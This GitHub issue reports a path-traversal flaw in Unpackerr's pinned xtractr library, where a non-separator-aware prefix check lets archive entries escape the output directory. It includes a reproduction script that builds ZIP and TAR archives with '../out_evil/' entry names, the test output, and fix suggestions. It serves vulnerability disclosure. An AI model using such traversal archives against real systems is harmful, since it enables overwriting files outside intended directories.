Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Unpackerr pinned xtractr prefix boundary bypass #641

Open

Description

Unpackerr pinned xtractr prefix boundary bypass

Summary

Current Unpackerr still pins golift.io/xtractr v0.3.2, whose ZIP and TAR extractors use strings.HasPrefix(cleanPath, OutputDir) after joining archive names to the output root.

Details

I reproduced this against the tested upstream commit. Tested commit:

63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd (2026年06月14日T21:29:40-07:00)

Relevant code path:

  • unpackerr/go.mod lines 20-26: unpackerr currently depends on golift.io/xtractr v0.3.2 for archive extraction.
  • files.go lines 794-805: xtractr.clean() builds the destination path with filepath.Clean(filepath.Join(OutputDir, filePath)).
  • zip.go lines 98-105: ZIP extraction accepts a path when strings.HasPrefix(cleanPath, OutputDir) succeeds, which is vulnerable to sibling-prefix bypass.

Root cause:

unpackerr pins golift.io/xtractr v0.3.2. In that version, xtractr computes the output path with filepath.Clean(filepath.Join(OutputDir, entryName)) and then validates it with strings.HasPrefix(cleanPath, OutputDir). This comparison is not separator-aware, so names like '../out_evil/escaped.txt' resolve to a sibling path such as '/.../out_evil/escaped.txt' that still begins with the string '/.../out'.

Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.

Reproduction

The following script fresh-clones Unpackerr, checks out the tested commit, adds a temporary Go test inside pkg/unpackerr, and calls the exact pinned xtractr ExtractZIP() and ExtractTar() APIs.

#!/usr/bin/env bash
set -euo pipefail
UNPACKERR_COMMIT="63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd"
workdir="$(mktemp -d)"
cleanup() {
 set +e
 chmod -R u+w "$workdir" 2>/dev/null || true
 rm -rf "$workdir"
}
trap cleanup EXIT
git clone --quiet https://github.com/Unpackerr/unpackerr.git "$workdir/unpackerr"
cd "$workdir/unpackerr"
git checkout --quiet "$UNPACKERR_COMMIT"
cat > pkg/unpackerr/xtractr_prefix_boundary_test.go <<'GO'
package unpackerr

import (
	"archive/tar"
	"archive/zip"
	"bytes"
	"os"
	"path/filepath"
	"testing"

	"golift.io/xtractr"
)

func writeZipWithTraversal(t *testing.T, path string) {
	t.Helper()
	var buf bytes.Buffer
	zw := zip.NewWriter(&buf)
	w, err := zw.Create("../out_evil/escaped_zip.txt")
	if err != nil {
		t.Fatal(err)
	}
	if _, err := w.Write([]byte("UNPACKERR-ZIP-PREFIX-BYPASS")); err != nil {
		t.Fatal(err)
	}
	if err := zw.Close(); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
		t.Fatal(err)
	}
}

func writeTarWithTraversal(t *testing.T, path string) {
	t.Helper()
	var buf bytes.Buffer
	tw := tar.NewWriter(&buf)
	payload := []byte("UNPACKERR-TAR-PREFIX-BYPASS")
	if err := tw.WriteHeader(&tar.Header{Name: "../out_evil/escaped_tar.txt", Mode: 0644, Size: int64(len(payload))}); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(payload); err != nil {
		t.Fatal(err)
	}
	if err := tw.Close(); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
		t.Fatal(err)
	}
}

func TestCurrentPinnedXtractrPrefixBoundaryBypass(t *testing.T) {
	base := t.TempDir()
	out := filepath.Join(base, "out")
	if err := os.MkdirAll(out, 0755); err != nil {
		t.Fatal(err)
	}

	zipPath := filepath.Join(base, "malicious.zip")
	tarPath := filepath.Join(base, "malicious.tar")
	writeZipWithTraversal(t, zipPath)
	writeTarWithTraversal(t, tarPath)

	_, _, zipErr := xtractr.ExtractZIP(&xtractr.XFile{FilePath: zipPath, OutputDir: out, FileMode: 0644, DirMode: 0755})
	_, _, tarErr := xtractr.ExtractTar(&xtractr.XFile{FilePath: tarPath, OutputDir: out, FileMode: 0644, DirMode: 0755})

	zipEscaped := filepath.Join(base, "out_evil", "escaped_zip.txt")
	tarEscaped := filepath.Join(base, "out_evil", "escaped_tar.txt")
	zipData, zipReadErr := os.ReadFile(zipEscaped)
	tarData, tarReadErr := os.ReadFile(tarEscaped)

	t.Logf("OUTPUT_DIR=%s", out)
	t.Logf("ZIP_ERR=%v", zipErr)
	t.Logf("ZIP_ESCAPED=%s", zipEscaped)
	t.Logf("ZIP_ESCAPED_EXISTS=%t", zipReadErr == nil)
	t.Logf("ZIP_ESCAPED_CONTENT=%s", string(zipData))
	t.Logf("TAR_ERR=%v", tarErr)
	t.Logf("TAR_ESCAPED=%s", tarEscaped)
	t.Logf("TAR_ESCAPED_EXISTS=%t", tarReadErr == nil)
	t.Logf("TAR_ESCAPED_CONTENT=%s", string(tarData))

	if zipErr != nil || tarErr != nil {
		t.Fatalf("expected current pinned xtractr extraction to accept sibling-prefix traversal, got zip=%v tar=%v", zipErr, tarErr)
	}
	if string(zipData) != "UNPACKERR-ZIP-PREFIX-BYPASS" || string(tarData) != "UNPACKERR-TAR-PREFIX-BYPASS" {
		t.Fatalf("expected escaped files to be written outside output dir")
	}
}
GO
go test ./pkg/unpackerr -run TestCurrentPinnedXtractrPrefixBoundaryBypass -count=1 -v

Observed result:

=== RUN TestCurrentPinnedXtractrPrefixBoundaryBypass
 xtractr_prefix_boundary_test.go:73: ZIP_ERR=<nil>
 xtractr_prefix_boundary_test.go:75: ZIP_ESCAPED_EXISTS=true
 xtractr_prefix_boundary_test.go:76: ZIP_ESCAPED_CONTENT=UNPACKERR-ZIP-PREFIX-BYPASS
 xtractr_prefix_boundary_test.go:77: TAR_ERR=<nil>
 xtractr_prefix_boundary_test.go:79: TAR_ESCAPED_EXISTS=true
 xtractr_prefix_boundary_test.go:80: TAR_ESCAPED_CONTENT=UNPACKERR-TAR-PREFIX-BYPASS
--- PASS: TestCurrentPinnedXtractrPrefixBoundaryBypass
PASS

Expected Behavior

Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.

Observed Behavior

Both ExtractZIP() and ExtractTar() succeed and write files into the sibling out_evil directory outside OutputDir.

Impact

A malicious archive processed through unpackerr's pinned extraction stack can create or overwrite files outside the intended extraction directory via sibling-prefix traversal.

Suggested Fix Direction

  • Update unpackerr to a fixed xtractr release once the path containment check is changed to a separator-aware resolved-path comparison.
  • Until then, patch the bundled extraction path validation to compare canonicalized paths with a trailing separator or path-component-aware containment test.
  • Add unpackerr regression coverage that exercises ZIP and TAR entries like '../out_evil/escaped.txt' through the exact extraction path used in production.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

        AltStyle によって変換されたページ (->オリジナル) /